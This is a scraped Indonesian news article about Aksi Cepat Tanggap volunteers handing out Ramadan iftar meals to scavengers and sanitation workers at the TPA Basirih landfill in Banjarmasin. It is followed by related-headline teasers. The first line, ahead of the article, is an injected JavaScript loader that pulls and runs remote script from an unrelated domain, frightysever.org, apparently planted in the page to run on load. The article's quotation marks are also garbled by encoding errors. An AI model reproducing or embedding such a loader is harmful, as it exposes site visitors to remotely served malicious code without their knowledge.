(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Gunungan sampah menjadi pemandangan yang harus dinikmati begitu memasuki kawasan Tempat Pembuangan Akhir (TPA) Basirih, Banjarmasin, Kalimantan Selatan. Bau menyengat pun kian lekat. Masker atau penutup wajah tak berfungsi di sini.
Meski demikian, tim Humanity Food Van Aksi Cepat Tanggap (ACT) Kalimantan Selatan terus merangsek masuk demi membagikan sajian berbuka puasa untuk para pemulung dan petugas kebersihan, Jum’at (17/5). Puluhan kaki bergegas mendekat. Wajah-wajah kusam penuh keringat itu menunjukkan penuh harap untuk sekotak menu berbuka puasa. Siti Maryam salah satunya. Wanita setengah abad itu rela menunggu hingga antrean hampir habis untuk mendapatkan paket sajian berbuka.
“Alhamdulillah bisa buat makan hari ini, minta juga untuk cucu di rumah,†ucapnya sumringah. Kegembiraannya mendapatkan sekotak makanan gratis bukan tanpa alasan. Sang suami sudah tua dan tak mampu bekerja lagi, sehingga Ia lah satu-satunya tulang punggung bagi keluarga. Wajah keriputnya menjadi saksi atas beratnya hidup puluhan tahun menjadi pemulung. “Terima kasih banyak atas bantuan ini,†ucapnya sembari menyeka keringat yang membanjiri wajahnya.
Kehidupan yang keras tergambar sore itu. Sosok anak-anak pun didapati menjadi pemulung di TPA Basirih. Alis, bocah perempuan kelas 4 SD itu demi membantu orang tuanya terpaksa bekerja di saat liburan. “Biasanya membersihkan botol,†jawab Alis kala ditanya soal aktivitasnya.
Sam’ani (45), Ketua RT setempat menyampaikan bahwa ada lebih dari 100 orang pemulung dan 40 orang petugas kebersihan yang mengandalkan hidup dari kawasan TPA Basirih. “Aktivitas di sini 24 jam, pemulung dan petugas kebersihan silih berganti masuk,†terangnya.
Menurutnya, lebih dari 50 ton sampah masuk ke TPA setiap harinya. “Inilah mata pencaharian kami,†ujarnya seraya menunjuk gunungan sampah. Mewakili penghuni TPA Basirih, Sam’ani menyampaikan terima kasih kepada dermawan dan ACT yang telah berbagi.
Koordinator Program ACT Kalimantan Selatan, M Budi Rahman Wahid menjelaskan bahwa Humanity Food Van kali ini adalah yang perdana dan menjadi rangkaian program Ramadhan ACT. “Hari ini dibantu Masyarakat Relawan Indonesia (MRI) Banjarmasin telah kami bagikan 100 sajian berbuka untuk warga di Banjarmasin. Insya Allah kami sudah siapkan 1000 paket yang akan didistribusikan tidak hanya di Banjarmasin, tapi juga di beberapa kabupaten,†terang Budi.
Sore itu Siti Maryam, Alis dan puluhan pemulung lainnya membawa sekotak makanan hadiah dari para dermawan. Sekotak sajian berbuka puasa yang mungkin biasa, namun menyimpan nilai berharga. Hari itu puluhan ribu rupiah bagi puluhan keluarga tak harus dibelanjakan hanya untuk menuntaskan rasa lapar. Hari itu puluhan wajah tersenyum bahagia atas kebaikan dermawan. (act)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.